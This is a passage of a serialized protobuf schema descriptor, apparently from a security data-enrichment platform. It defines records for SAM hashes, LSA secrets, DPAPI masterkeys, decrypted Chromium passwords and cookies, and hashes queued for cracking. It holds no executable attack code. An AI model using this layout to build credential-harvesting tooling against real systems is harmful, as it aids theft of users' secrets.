\x01(\x0b\x32\x0e.server.Header\x12 \n\x07\x65xports\x18\x02 \x01(\x0b\x32\x0f.server.Exports\x12 \n\x07imports\x18\x03 \x01(\x0b\x32\x0f.server.Imports\x12)\n\x0cversion_info\x18\x04 \x01(\x0b\x32\x13.server.VersionInfo\x12\x18\n\x10string_resources\x18\x05 \x03(\t\x12%\n\nsignatures\x18\x06 \x03(\x0b\x32\x11.server.Signature\"C\n\x08Resource\x12\x0c\n\x04name\x18\x01 \x01(\t\x12\x0b\n\x03md5\x18\x02 \x01(\t\x12\x0c\n\x04sha1\x18\x03 \x01(\t\x12\x0e\n\x06sha256\x18\x04 \x01(\t\"5\n\x07Typeref\x12\x13\n\x0bmodule_name\x18\x01 \x01(\t\x12\x15\n\rfunction_name\x18\x02 \x01(\t\":\n\x0cImplMapEntry\x12\x13\n\x0bmodule_name\x18\x01 \x01(\t\x12\x15\n\rfunction_name\x18\x02 \x01(\t\"\x84\x03\n\x0e\x44otnetAssembly\x12\x1e\n\x06header\x18\x01 \x01(\x0b\x32\x0e.server.Header\x12 \n\x07\x65xports\x18\x03 \x01(\x0b\x32\x0f.server.Exports\x12 \n\x07imports\x18\x05 \x01(\x0b\x32\x0f.server.Imports\x12)\n\x0cversion_info\x18\x07 \x01(\x0b\x32\x13.server.VersionInfo\x12\x18\n\x10string_resources\x18\t \x03(\t\x12%\n\nsignatures\x18\x0b \x03(\x0b\x32\x11.server.Signature\x12#\n\tresources\x18\r \x03(\x0b\x32\x10.server.Resource\x12\x12\n\npdb_string\x18\x0f \x01(\t\x12\x16\n\x0e\x64otnet_version\x18\x11 \x01(\t\x12!\n\x08typerefs\x18\x13 \x03(\x0b\x32\x0f.server.Typeref\x12.\n\x10impl_map_entries\x18\x15 \x03(\x0b\x32\x14.server.ImplMapEntry\"\xbb\x02\n\x07\x41rchive\x12\x0c\n\x04type\x18\x01 \x01(\t\x12\x14\n\x0cis_encrypted\x18\x03 \x01(\x08\x12\x19\n\x11uncompressed_size\x18\x05 \x01(\r\x12\x1c\n\x0f\x65ncryption_hash\x18\x07 \x01(\tH\x00\x88\x01\x01\x12-\n\x07\x65ntries\x18\n \x03(\x0b\x32\x1c.server.Archive.ArchiveEntry\x1a\x8f\x01\n\x0c\x41rchiveEntry\x12\x0c\n\x04name\x18\x01 \x01(\t\x12\x0e\n\x06is_dir\x18\x02 \x01(\x08\x12\x15\n\rcompress_size\x18\x03 \x01(\r\x12\x17\n\x0funcompress_size\x18\x04 \x01(\r\x12\x31\n\rlast_modified\x18\x05 \x01(\x0b\x32\x1a.google.protobuf.TimestampB\x12\n\x10_encryption_hash\"!\n\rRegHiveSystem\x12\x10\n\x08\x62oot_key\x18\x01 \x01(\x0c\"\xda\x01\n\x16\x44omainCachedCredential\x12\x14\n\x0cis_decrypted\x18\x01 \x01(\x08\x12\x15\n\renc_raw_value\x18\x02 \x01(\x0c\x12\x13\n\x0b\x64omain_long\x18\x03 \x01(\t\x12\x11\n\tuser_name\x18\x04 \x01(\t\x12\x17\n\x0fiteration_count\x18\x05 \x01(\x05\x12\x13\n\x0b\x63\x61\x63hed_hash\x18\x06 \x01(\x0c\x12\x0e\n\x06\x61nswer\x18\x07 \x01(\t\x12-\n\ttimestamp\x18\x08 \x01(\x0b\x32\x1a.google.protobuf.Timestamp\"l\n\tLSASecret\x12\x0c\n\x04name\x18\x01 \x01(\t\x12\x14\n\x0cis_decrypted\x18\x02 \x01(\x08\x12\x11\n\tvalue_enc\x18\x03 \x01(\x0c\x12\x11\n\tvalue_dec\x18\x04 \x01(\x0c\x12\x15\n\rvalue_dec_str\x18\x05 \x01(\t\"\x91\x02\n\x0fRegHiveSecurity\x12\x14\n\x0cis_decrypted\x18\x01 \x01(\x08\x12\x13\n\x0bvista_style\x18\x02 \x01(\x08\x12\x1a\n\x12lsa_secret_key_enc\x18\x05 \x01(\x0c\x12\x1a\n\x12lsa_secret_key_dec\x18\x06 \x01(\x0c\x12\x17\n\x0fnlkm_secret_enc\x18\x07 \x01(\x0c\x12\x17\n\x0fnlkm_secret_dec\x18\x08 \x01(\x0c\x12&\n\x0blsa_secrets\x18\n \x03(\x0b\x32\x11.server.LSASecret\x12\x41\n\x19\x64omain_cached_credentials\x18\x0c \x03(\x0b\x32\x1e.server.DomainCachedCredential\"\xb5\x01\n\x07SamHash\x12\x14\n\x0cis_decrypted\x18\x01 \x01(\x08\x12\x11\n\tnew_style\x18\x02 \x01(\x08\x12\x10\n\x08username\x18\x03 \x01(\t\x12\x0b\n\x03rid\x18\x04 \x01(\r\x12\x13\n\x0blm_hash_enc\x18\x05 \x01(\x0c\x12\x13\n\x0blm_hash_dec\x18\x06 \x01(\x0c\x12\x13\n\x0bnt_hash_enc\x18\x07 \x01(\x0c\x12\x13\n\x0bnt_hash_dec\x18\x08 \x01(\x0c\x12\x0e\n\x06\x61nswer\x18\n \x01(\t\"q\n\nRegHiveSam\x12\x14\n\x0cis_decrypted\x18\x01 \x01(\x08\x12\x0f\n\x07\x66_bytes\x18\x02 \x01(\x0c\x12\x17\n\x0fhashed_boot_key\x18\x03 \x01(\x0c\x12#\n\nsam_hashes\x18\x05 \x03(\x0b\x32\x0f.server.SamHash\"\x1d\n\rRawParsedData\x12\x0c\n\x04\x64\x61ta\x18\x01 \x01(\t\"H\n\x18\x44papiCredentialAttribute\x12\r\n\x05\x66lags\x18\x01 \x01(\r\x12\x0f\n\x07keyword\x18\x02 \x01(\t\x12\x0c\n\x04\x64\x61ta\x18\x03 \x01(\x0c\"\xfa\x08\n\x13\x44papiCredentialFile\x12\x15\n\rdpapi_blob_id\x18\x01 \x01(\t\x12\x30\n\x0clast_written\x18\x05 \x01(\x0b\x32\x1a.google.protobuf.Timestamp\x12;\n\x05\x66lags\x18\x06 \x01(\x0e\x32,.server.DpapiCredentialFile.CREDENTIAL_FLAGS\x12?\n\x07persist\x18\x07 \x01(\x0e\x32..server.DpapiCredentialFile.CREDENTIAL_PERSIST\x12\x39\n\x04type\x18\x08 \x01(\x0e\x32+.server.DpapiCredentialFile.CREDENTIAL_TYPE\x12\x0f\n\x07\x63omment\x18\n \x01(\t\x12\x0e\n\x06target\x18\x0c \x01(\t\x12\x14\n\x0ctarget_alias\x18\x0e \x01(\t\x12\x10\n\x08username\x18\x10 \x01(\t\x12\x12\n\ncredential\x18\x12 \x01(\t\x12>\n\x14\x63redential_attribute\x18\x14 \x03(\x0b\x32 .server.DpapiCredentialAttribute\"\xa1\x02\n\x10\x43REDENTIAL_FLAGS\x12\x16\n\x12\x43RED_FALGS_UNKNOWN\x10\x00\x12 \n\x1c\x43RED_FLAGS_PASSWORD_FOR_CERT\x10\x01\x12\x19\n\x15\x43RED_FLAGS_PROMPT_NOW\x10\x02\x12\x1e\n\x1a\x43RED_FLAGS_USERNAME_TARGET\x10\x04\x12\x1c\n\x18\x43RED_FLAGS_OWF_CRED_BLOB\x10\x08\x12#\n\x1f\x43RED_FLAGS_REQUIRE_CONFIRMATION\x10\x10\x12\x1d\n\x19\x43RED_FLAGS_WILDCARD_MATCH\x10 \x12\x1c\n\x18\x43RED_FLAGS_VSM_PROTECTED\x10@\x12\x18\n\x13\x43RED_FLAGS_NGC_CERT\x10\x80\x01\"\x82\x01\n\x12\x43REDENTIAL_PERSIST\x12\x15\n\x11\x43RED_PERSIST_NONE\x10\x00\x12\x18\n\x14\x43RED_PERSIST_SESSION\x10\x01\x12\x1e\n\x1a\x43RED_PERSIST_LOCAL_MACHINE\x10\x02\x12\x1b\n\x17\x43RED_PERSIST_ENTERPRISE\x10\x03\"\x9a\x02\n\x0f\x43REDENTIAL_TYPE\x12\x15\n\x11\x43RED_TYPE_UNKNOWN\x10\x00\x12\x15\n\x11\x43RED_TYPE_GENERIC\x10\x01\x12\x1d\n\x19\x43RED_TYPE_DOMAIN_PASSWORD\x10\x02\x12 \n\x1c\x43RED_TYPE_DOMAIN_CERTIFICATE\x10\x03\x12%\n!CRED_TYPE_DOMAIN_VISIBLE_PASSWORD\x10\x04\x12!\n\x1d\x43RED_TYPE_GENERIC_CERTIFICATE\x10\x05\x12\x1d\n\x19\x43RED_TYPE_DOMAIN_EXTENDED\x10\x06\x12\x15\n\x11\x43RED_TYPE_MAXIMUM\x10\x07\x12\x18\n\x14\x43RED_TYPE_MAXIMUM_EX\x10\x08\"\x82\x01\n\x13\x43hromiumHistoryFile\x12\x1b\n\x13user_data_directory\x18\x01 \x01(\t\x12\x0f\n\x07\x62rowser\x18\x02 \x01(\t\x12\x10\n\x08username\x18\x03 \x01(\t\x12\x12\n\nurls_count\x18\x04 \x01(\r\x12\x17\n\x0f\x64ownloads_count\x18\x05 \x01(\r\"j\n\x12\x43hromiumLoginsFile\x12\x1b\n\x13user_data_directory\x18\x01 \x01(\t\x12\x0f\n\x07\x62rowser\x18\x02 \x01(\t\x12\x10\n\x08username\x18\x03 \x01(\t\x12\x14\n\x0clogins_count\x18\x04 \x01(\r\"l\n\x13\x43hromiumCookiesFile\x12\x1b\n\x13user_data_directory\x18\x01 \x01(\t\x12\x0f\n\x07\x62rowser\x18\x02 \x01(\t\x12\x10\n\x08username\x18\x03 \x01(\t\x12\x15\n\rcookies_count\x18\x04 \x01(\r\"\xdf\x02\n\x11\x43hromiumStateFile\x12\x1b\n\x13user_data_directory\x18\x01 \x01(\t\x12\x0f\n\x07\x62rowser\x18\x02 \x01(\t\x12\x10\n\x08username\x18\x03 \x01(\t\x12\x35\n\x11installation_date\x18\x05 \x01(\x0b\x32\x1a.google.protobuf.Timestamp\x12\x14\n\x0claunch_count\x18\x06 \x01(\r\x12\x16\n\x0emasterkey_guid\x18\n \x01(\t\x12\x15\n\rkey_bytes_enc\x18\x0b \x01(\x0c\x12 \n\x18\x61pp_bound_fixed_data_enc\x18\x0c \x01(\x0c\x12\x14\n\x0cis_decrypted\x18\r \x01(\x08\x12\x15\n\rkey_bytes_dec\x18\x0e \x01(\x0c\x12 \n\x18\x61pp_bound_fixed_data_dec\x18\x0f \x01(\x0c\x12\x1d\n\x15originating_object_id\x18\x14 \x01(\t\"X\n\x08\x45vtxFile\x12\x15\n\rconverted_csv\x18\x01 \x01(\t\x12\x16\n\x0e\x63onverted_json\x18\x03 \x01(\t\x12\x1d\n\x15originating_object_id\x18\x05 \x01(\t\"\xbf\n\n\nParsedData\x12\x0f\n\x05\x65rror\x18\x01 \x01(\tH\x00\x12\x18\n\x02pe\x18\n \x01(\x0b\x32\n.server.PeH\x00\x12\x31\n\x0f\x64otnet_assembly\x18\x0c \x01(\x0b\x32\x16.server.DotnetAssemblyH\x00\x12 \n\x06passwd\x18\x0e \x01(\x0b\x32\x0e.server.PasswdH\x00\x12 \n\x06shadow\x18\x10 \x01(\x0b\x32\x0e.server.ShadowH\x00\x12.\n\x0eoffice_doc_new\x18\x11 \x01(\x0b\x32\x14.server.OfficeDocNewH\x00\x12.\n\x0eoffice_doc_ole\x18\x12 \x01(\x0b\x32\x14.server.OfficeDocOleH\x00\x12\x1a\n\x03pdf\x18\x13 \x01(\x0b\x32\x0b.server.PdfH\x00\x12\x42\n\x18group_policy_preferences\x18\x14 \x01(\x0b\x32\x1e.server.GroupPolicyPreferencesH\x00\x12\x31\n\x0fmcafee_sitelist\x18\x16 \x01(\x0b\x32\x16.server.McafeeSitelistH\x00\x12\'\n\nweb_config\x18\x18 \x01(\x0b\x32\x11.server.WebConfigH\x00\x12*\n\x0b\x61ppsettings\x18\x1a \x01(\x0b\x32\x13.server.AppSettingsH\x00\x12 \n\x06tomcat\x18\x1c \x01(\x0b\x32\x0e.server.TomcatH\x00\x12\"\n\x07\x61rchive\x18\x1e \x01(\x0b\x32\x0f.server.ArchiveH\x00\x12\x1a\n\x03lnk\x18\x1f \x01(\x0b\x32\x0b.server.LnkH\x00\x12\x30\n\x0fraw_parsed_data\x18# \x01(\x0b\x32\x15.server.RawParsedDataH\x00\x12\x31\n\x0f\x64papi_masterkey\x18( \x01(\x0b\x32\x16.server.DpapiMasterkeyH\x00\x12\x37\n\x10\x64papi_credential\x18* \x01(\x0b\x32\x1b.server.DpapiCredentialFileH\x00\x12\x37\n\x10\x63hromium_history\x18- \x01(\x0b\x32\x1b.server.ChromiumHistoryFileH\x00\x12\x35\n\x0f\x63hromium_logins\x18. \x01(\x0b\x32\x1a.server.ChromiumLoginsFileH\x00\x12\x37\n\x10\x63hromium_cookies\x18/ \x01(\x0b\x32\x1b.server.ChromiumCookiesFileH\x00\x12\x38\n\x13\x63hromium_state_file\x18\x30 \x01(\x0b\x32\x19.server.ChromiumStateFileH\x00\x12\x31\n\x0fslack_downloads\x18\x32 \x01(\x0b\x32\x16.server.SlackDownloadsH\x00\x12\x33\n\x10slack_workspaces\x18\x33 \x01(\x0b\x32\x17.server.SlackWorkspacesH\x00\x12\x30\n\x0freg_hive_system\x18\x37 \x01(\x0b\x32\x15.server.RegHiveSystemH\x00\x12\x34\n\x11reg_hive_security\x18\x38 \x01(\x0b\x32\x17.server.RegHiveSecurityH\x00\x12*\n\x0creg_hive_sam\x18\x39 \x01(\x0b\x32\x12.server.RegHiveSamH\x00\x12%\n\tevtx_file\x18< \x01(\x0b\x32\x10.server.EvtxFileH\x00\x12\x1e\n\x16has_parsed_credentials\x18\x05 \x01(\x08\x12\x14\n\x0cis_encrypted\x18\x07 \x01(\x08\x42\x0b\n\tdata_type\"\xad\x04\n\x0e\x44otnetAnalysis\x12\x1b\n\x13has_deserialization\x18\x01 \x01(\x08\x12\x19\n\x11has_cmd_execution\x18\x02 \x01(\x08\x12\x14\n\x0chas_remoting\x18\x03 \x01(\x08\x12\x19\n\x11remoting_channels\x18\x05 \x03(\t\x12\x15\n\ris_wcf_server\x18\x07 \x01(\x08\x12\x15\n\ris_wcf_client\x18\t \x01(\x08\x12\x45\n\x1aserialization_gadget_calls\x18\x0b \x03(\x0b\x32!.server.DotnetAnalysis.GadgetCall\x12;\n\x10wcf_server_calls\x18\r \x03(\x0b\x32!.server.DotnetAnalysis.GadgetCall\x12\x37\n\x0c\x63lient_calls\x18\x0f \x03(\x0b\x32!.server.DotnetAnalysis.GadgetCall\x12\x39\n\x0eremoting_calls\x18\x11 \x03(\x0b\x32!.server.DotnetAnalysis.GadgetCall\x12>\n\x13\x63md_execution_calls\x18\x13 \x03(\x0b\x32!.server.DotnetAnalysis.GadgetCall\x1aL\n\nGadgetCall\x12\x13\n\x0bgadget_name\x18\x01 \x01(\t\x12\x13\n\x0bmethod_name\x18\x02 \x01(\t\x12\x14\n\x0c\x66ilter_level\x18\x03 \x01(\t\"N\n\x08\x41nalysis\x12\x31\n\x0f\x64otnet_analysis\x18\x01 \x01(\x0b\x32\x16.server.DotnetAnalysisH\x00\x42\x0f\n\ranalysis_type\"\xf0\x01\n\x14\x43hromiumHistoryEntry\x12\x1d\n\x15originating_object_id\x18\x01 \x01(\t\x12\x1b\n\x13user_data_directory\x18\x02 \x01(\t\x12\x10\n\x08username\x18\x03 \x01(\t\x12\x0f\n\x07\x62rowser\x18\x04 \x01(\t\x12\x0b\n\x03url\x18\x05 \x01(\t\x12\r\n\x05title\x18\x06 \x01(\t\x12\x13\n\x0bvisit_count\x18\x07 \x01(\r\x12\x13\n\x0btyped_count\x18\x08 \x01(\r\x12\x33\n\x0flast_visit_time\x18\t \x01(\x0b\x32\x1a.google.protobuf.Timestamp\"h\n\x16\x43hromiumHistoryMessage\x12\"\n\x08metadata\x18\x01 \x01(\x0b\x32\x10.server.Metadata\x12*\n\x04\x64\x61ta\x18\x02 \x03(\x0b\x32\x1c.server.ChromiumHistoryEntry\"\x9d\x02\n\x10\x43hromiumDownload\x12\x1d\n\x15originating_object_id\x18\x01 \x01(\t\x12\x1b\n\x13user_data_directory\x18\x02 \x01(\t\x12\x10\n\x08username\x18\x03 \x01(\t\x12\x0f\n\x07\x62rowser\x18\x04 \x01(\t\x12\x0b\n\x03url\x18\x05 \x01(\t\x12\x15\n\rdownload_path\x18\x06 \x01(\t\x12.\n\nstart_time\x18\x07 \x01(\x0b\x32\x1a.google.protobuf.Timestamp\x12,\n\x08\x65nd_time\x18\x08 \x01(\x0b\x32\x1a.google.protobuf.Timestamp\x12\x13\n\x0btotal_bytes\x18\t \x01(\r\x12\x13\n\x0b\x64\x61nger_type\x18\n \x01(\t\"e\n\x17\x43hromiumDownloadMessage\x12\"\n\x08metadata\x18\x01 \x01(\x0b\x32\x10.server.Metadata\x12&\n\x04\x64\x61ta\x18\x02 \x03(\x0b\x32\x18.server.ChromiumDownload\"\xe5\x03\n\rChromiumLogin\x12\x1d\n\x15originating_object_id\x18\x01 \x01(\t\x12\x1b\n\x13user_data_directory\x18\x02 \x01(\t\x12\x10\n\x08username\x18\x03 \x01(\t\x12\x0f\n\x07\x62rowser\x18\x04 \x01(\t\x12\x12\n\norigin_url\x18\x05 \x01(\t\x12\x16\n\x0eusername_value\x18\x06 \x01(\t\x12\x14\n\x0csignon_realm\x18\x07 \x01(\t\x12\x30\n\x0c\x64\x61te_created\x18\x08 \x01(\x0b\x32\x1a.google.protobuf.Timestamp\x12\x32\n\x0e\x64\x61te_last_used\x18\t \x01(\x0b\x32\x1a.google.protobuf.Timestamp\x12:\n\x16\x64\x61te_password_modified\x18\n \x01(\x0b\x32\x1a.google.protobuf.Timestamp\x12\x12\n\ntimes_used\x18\x0b \x01(\r\x12\x1a\n\x12password_value_enc\x18\x0f \x01(\x0c\x12\x17\n\x0f\x65ncryption_type\x18\x10 \x01(\t\x12\x16\n\x0emasterkey_guid\x18\x11 \x01(\t\x12\x14\n\x0cis_decrypted\x18\x14 \x01(\x08\x12\x1a\n\x12password_value_dec\x18\x15 \x01(\t\"_\n\x14\x43hromiumLoginMessage\x12\"\n\x08metadata\x18\x01 \x01(\x0b\x32\x10.server.Metadata\x12#\n\x04\x64\x61ta\x18\x02 \x03(\x0b\x32\x15.server.ChromiumLogin\"\xc2\x04\n\x0e\x43hromiumCookie\x12\x1d\n\x15originating_object_id\x18\x01 \x01(\t\x12\x1b\n\x13user_data_directory\x18\x02 \x01(\t\x12\x10\n\x08username\x18\x03 \x01(\t\x12\x0f\n\x07\x62rowser\x18\x04 \x01(\t\x12\x10\n\x08host_key\x18\x05 \x01(\t\x12\x0c\n\x04name\x18\x06 \x01(\t\x12\x0c\n\x04path\x18\x07 \x01(\t\x12,\n\x08\x63reation\x18\x08 \x01(\x0b\x32\x1a.google.protobuf.Timestamp\x12+\n\x07\x65xpires\x18\t \x01(\x0b\x32\x1a.google.protobuf.Timestamp\x12/\n\x0blast_access\x18\n \x01(\x0b\x32\x1a.google.protobuf.Timestamp\x12/\n\x0blast_update\x18\x0b \x01(\x0b\x32\x1a.google.protobuf.Timestamp\x12\x11\n\tis_secure\x18\x0c \x01(\x08\x12\x13\n\x0bis_httponly\x18\r \x01(\x08\x12\x12\n\nis_session\x18\x0e \x01(\x08\x12\x10\n\x08samesite\x18\x0f \x01(\t\x12\x13\n\x0bsource_port\x18\x10 \x01(\x05\x12\x11\n\tvalue_enc\x18\x14 \x01(\x0c\x12\x17\n\x0f\x65ncryption_type\x18\x15 \x01(\t\x12\x16\n\x0emasterkey_guid\x18\x16 \x01(\t\x12\x14\n\x0cis_decrypted\x18\x18 \x01(\x08\x12\x11\n\tvalue_dec\x18\x19 \x01(\t\x12\x16\n\x0e\x63lassification\x18\x1e \x01(\t\"a\n\x15\x43hromiumCookieMessage\x12\"\n\x08metadata\x18\x01 \x01(\x0b\x32\x10.server.Metadata\x12$\n\x04\x64\x61ta\x18\x02 \x03(\x0b\x32\x16.server.ChromiumCookie\"g\n\x18\x43hromiumStateFileMessage\x12\"\n\x08metadata\x18\x01 \x01(\x0b\x32\x10.server.Metadata\x12\'\n\x04\x64\x61ta\x18\x02 \x03(\x0b\x32\x19.server.ChromiumStateFile\"p\n\x14\x44papiDomainBackupkey\x12\x1d\n\x15\x64omain_backupkey_guid\x18\x01 \x01(\t\x12\x19\n\x11\x64omain_controller\x18\x03 \x01(\t\x12\x1e\n\x16\x64omain_backupkey_bytes\x18\x05 \x01(\x0c\"m\n\x1b\x44papiDomainBackupkeyMessage\x12\"\n\x08metadata\x18\x01 \x01(\x0b\x32\x10.server.Metadata\x12*\n\x04\x64\x61ta\x18\x02 \x03(\x0b\x32\x1c.server.DpapiDomainBackupkey\"\x90\x02\n\x0e\x44papiMasterkey\x12\x11\n\tobject_id\x18\x01 \x01(\t\x12\x0c\n\x04type\x18\x02 \x01(\t\x12\x10\n\x08username\x18\x03 \x01(\t\x12\x10\n\x08user_sid\x18\x04 \x01(\t\x12\x16\n\x0emasterkey_guid\x18\x05 \x01(\t\x12\x14\n\x0cis_decrypted\x18\x06 \x01(\x08\x12\x17\n\x0fmasterkey_bytes\x18\x07 \x01(\x0c\x12\x1d\n\x15\x64omain_backupkey_guid\x18\n \x01(\t\x12\x1b\n\x13\x64omainkey_pb_secret\x18\x0b \x01(\x0c\x12\x1a\n\x12\x64\x65\x63rypted_key_full\x18\x0c \x01(\x0c\x12\x1a\n\x12\x64\x65\x63rypted_key_sha1\x18\r \x01(\x0c\"a\n\x15\x44papiMasterkeyMessage\x12\"\n\x08metadata\x18\x01 \x01(\x0b\x32\x10.server.Metadata\x12$\n\x04\x64\x61ta\x18\x02 \x03(\x0b\x32\x16.server.DpapiMasterkey\"\x89\x02\n\tDpapiBlob\x12\x15\n\rdpapi_blob_id\x18\x01 \x01(\t\x12\x1d\n\x15originating_object_id\x18\x03 \x01(\t\x12\x1f\n\x17originating_registry_id\x18\x04 \x01(\t\x12\x16\n\x0emasterkey_guid\x18\x05 \x01(\t\x12\x0f\n\x07is_file\x18\x07 \x01(\x08\x12\x14\n\x0cis_decrypted\x18\t \x01(\x08\x12\x16\n\x0e\x65nc_data_bytes\x18\x0b \x01(\x0c\x12\x1a\n\x12\x65nc_data_object_id\x18\r \x01(\t\x12\x16\n\x0e\x64\x65\x63_data_bytes\x18\x0f \x01(\x0c\x12\x1a\n\x12\x64\x65\x63_data_object_id\x18\x11 \x01(\t\"W\n\x10\x44papiBlobMessage\x12\"\n\x08metadata\x18\x01 \x01(\x0b\x32\x10.server.Metadata\x12\x1f\n\x04\x64\x61ta\x18\x02 \x03(\x0b\x32\x11.server.DpapiBlob\"\x87\x01\n\x0fServiceEnriched\x12(\n\x06origin\x18\x01 \x01(\x0b\x32\x18.server.ServiceIngestion\x12\x10\n\x08\x63\x61tegory\x18\x02 \x01(\t\x12\x1b\n\x13\x65nrichments_success\x18\x03 \x03(\t\x12\x1b\n\x13\x65nrichments_failure\x18\x04 \x03(\t\"c\n\x16ServiceEnrichedMessage\x12\"\n\x08metadata\x18\x01 \x01(\x0b\x32\x10.server.Metadata\x12%\n\x04\x64\x61ta\x18\x02 \x03(\x0b\x32\x17.server.ServiceEnriched\"M\n\x0fProcessCategory\x12\x10\n\x08\x63\x61tegory\x18\x01 \x01(\t\x12\x18\n\x0b\x64\x65scription\x18\x02 \x01(\tH\x00\x88\x01\x01\x42\x0e\n\x0c_description\"\xa0\x01\n\x0fProcessEnriched\x12(\n\x06origin\x18\x01 \x01(\x0b\x32\x18.server.ProcessIngestion\x12)\n\x08\x63\x61tegory\x18\x02 \x01(\x0b\x32\x17.server.ProcessCategory\x12\x1b\n\x13\x65nrichments_success\x18\x03 \x03(\t\x12\x1b\n\x13\x65nrichments_failure\x18\x04 \x03(\t\"c\n\x16ProcessEnrichedMessage\x12\"\n\x08metadata\x18\x01 \x01(\x0b\x32\x10.server.Metadata\x12%\n\x04\x64\x61ta\x18\x02 \x03(\x0b\x32\x17.server.ProcessEnriched\"\xff\x06\n\x0bNoseyParker\x12\x35\n\x0crule_matches\x18\x01 \x03(\x0b\x32\x1f.server.NoseyParker.RuleMatches\x12\x13\n\x0bhas_matches\x18\x02 \x01(\x08\x1a)\n\x0bOffset_span\x12\r\n\x05start\x18\x01 \x01(\r\x12\x0b\n\x03\x65nd\x18\x02 \x01(\r\x1a%\n\x05Start\x12\x0c\n\x04line\x18\x01 \x01(\r\x12\x0e\n\x06\x63olumn\x18\x02 \x01(\r\x1a#\n\x03\x45nd\x12\x0c\n\x04line\x18\x01 \x01(\r\x12\x0e\n\x06\x63olumn\x18\x02 \x01(\r\x1a]\n\x0bSource_span\x12(\n\x05start\x18\x01 \x01(\x0b\x32\x19.server.NoseyParker.Start\x12$\n\x03\x65nd\x18\x02 \x01(\x0b\x32\x17.server.NoseyParker.End\x1av\n\x08Location\x12\x34\n\x0boffset_span\x18\x01 \x01(\x0b\x32\x1f.server.NoseyParker.Offset_span\x12\x34\n\x0bsource_span\x18\x02 \x01(\x0b\x32\x1f.server.NoseyParker.Source_span\x1a:\n\x07Snippet\x12\x0e\n\x06\x62\x65\x66ore\x18\x01 \x01(\t\x12\x10\n\x08matching\x18\x02 \x01(\t\x12\r\n\x05\x61\x66ter\x18\x03 \x01(\t\x1a(\n\nProvenance\x12\x0c\n\x04kind\x18\x01 \x01(\t\x12\x0c\n\x04path\x18\x02 \x01(\t\x1a\xf3\x01\n\x07Matches\x12\x0f\n\x07\x62lob_id\x18\x01 \x01(\t\x12.\n\x08location\x18\x02 \x01(\x0b\x32\x1c.server.NoseyParker.Location\x12\x1b\n\x13\x63\x61pture_group_index\x18\x03 \x01(\r\x12\x15\n\rmatch_content\x18\x04 \x01(\t\x12,\n\x07snippet\x18\x05 \x01(\x0b\x32\x1b.server.NoseyParker.Snippet\x12\x11\n\trule_name\x18\x06 \x01(\t\x12\x32\n\nprovenance\x18\x07 \x01(\x0b\x32\x1e.server.NoseyParker.Provenance\x1az\n\x0bRuleMatches\x12\x11\n\trule_name\x18\x01 \x01(\t\x12\x15\n\rmatch_content\x18\x02 \x01(\t\x12\x13\n\x0bnum_matches\x18\x03 \x01(\r\x12,\n\x07matches\x18\x04 \x03(\x0b\x32\x1b.server.NoseyParker.Matches\"u\n\x08\x43\x61naries\x12\x18\n\x10\x63\x61naries_present\x18\x01 \x01(\x08\x12)\n\x08\x63\x61naries\x18\x02 \x03(\x0b\x32\x17.server.Canaries.Canary\x1a$\n\x06\x43\x61nary\x12\x0c\n\x04type\x18\x01 \x01(\t\x12\x0c\n\x04\x64\x61ta\x18\x02 \x03(\t\"7\n\nFileHashes\x12\x0b\n\x03md5\x18\x01 \x01(\t\x12\x0c\n\x04sha1\x18\x02 \x01(\t\x12\x0e\n\x06sha256\x18\x03 \x01(\t\"\x99\x05\n\x10\x46ileDataEnriched\x12\x11\n\tobject_id\x18\x01 \x01(\t\x12\x1d\n\x15originating_object_id\x18\x02 \x01(\t\x12\x1b\n\x13\x65nrichments_success\x18\x03 \x03(\t\x12\x1b\n\x13\x65nrichments_failure\x18\x04 \x03(\t\x12\x0c\n\x04path\x18\x05 \x01(\t\x12\x0c\n\x04size\x18\x06 \x01(\x04\x12\x0c\n\x04name\x18\x07 \x01(\t\x12\x11\n\textension\x18\x08 \x01(\t\x12\"\n\x06hashes\x18\n \x01(\x0b\x32\x12.server.FileHashes\x12\x19\n\x11nemesis_file_type\x18\x0b \x01(\t\x12\x12\n\nmagic_type\x18\r \x01(\t\x12\x11\n\tis_binary\x18\x0f \x01(\x08\x12\x16\n\x0eis_source_code\x18\x10 \x01(\x08\x12\x15\n\ris_office_doc\x18\x11 \x01(\x08\x12\'\n\x0bparsed_data\x18\x13 \x01(\x0b\x32\x12.server.ParsedData\x12\"\n\x08\x61nalysis\x18\x15 \x01(\x0b\x32\x10.server.Analysis\x12\x15\n\rconverted_pdf\x18\x17 \x01(\t\x12 \n\x13\x65xtracted_plaintext\x18\x19 \x01(\tH\x00\x88\x01\x01\x12\x18\n\x10\x65xtracted_source\x18\x1b \x01(\t\x12(\n\x0bnoseyparker\x18\x1d \x01(\x0b\x32\x13.server.NoseyParker\x12\x14\n\x0cyara_matches\x18\x1f \x03(\t\x12\"\n\x08\x63\x61naries\x18! \x01(\x0b\x32\x10.server.Canaries\x12\x16\n\x0e\x63ontains_dpapi\x18( \x01(\x08\x12\x13\n\x0b\x64papi_blobs\x18* \x03(\tB\x16\n\x14_extracted_plaintext\"e\n\x17\x46ileDataEnrichedMessage\x12\"\n\x08metadata\x18\x01 \x01(\x0b\x32\x10.server.Metadata\x12&\n\x04\x64\x61ta\x18\x02 \x03(\x0b\x32\x18.server.FileDataEnriched\"\x95\x03\n\rExtractedHash\x12\x11\n\thash_type\x18\x01 \x01(\t\x12\x12\n\nhash_value\x18\x02 \x01(\t\x12\x1d\n\x15originating_object_id\x18\x03 \x01(\t\x12\x1f\n\x17hashcat_formatted_value\x18\x05 \x01(\t\x12\x1b\n\x13jtr_formatted_value\x18\x06 \x01(\t\x12\x12\n\nis_cracked\x18\n \x01(\x08\x12\x14\n\x0cjtr_pot_line\x18\x0b \x01(\t\x12%\n\x1d\x63hecked_against_top_passwords\x18\x0c \x01(\x08\x12\x17\n\x0fplaintext_value\x18\r \x01(\t\x12\x1f\n\x17is_submitted_to_cracker\x18\x14 \x01(\x08\x12;\n\x17\x63racker_submission_time\x18\x15 \x01(\x0b\x32\x1a.google.protobuf.Timestamp\x12\x38\n\x14\x63racker_cracked_time\x18\x16 \x01(\x0b\x32\x1a.google.protobuf.Timestamp\"_\n\x14\x45xtractedHashMessage\x12\"\n\x08metadata\x18\x01 \x01(\x0b\x32\x10.server.Metadata\x12#\n\x04\x64\x61ta\x18\x02 \x03(\x0b\x32\x15.server.ExtractedHash\"\x9a\x04\n\x11\x46ileDataPlaintext\x12\x11\n\tobject_id\x18\x01 \x01(\t\x12\x1b\n\x13\x65nrichments_success\x18\x02 \x03(\t\x12\x1b\n\x13\x65nrichments_failure\x18\x03 \x03(\t\x12\x1d\n\x15originating_object_id\x18\x05 \x01(\t\x12(\n originating_object_converted_pdf\x18\x06 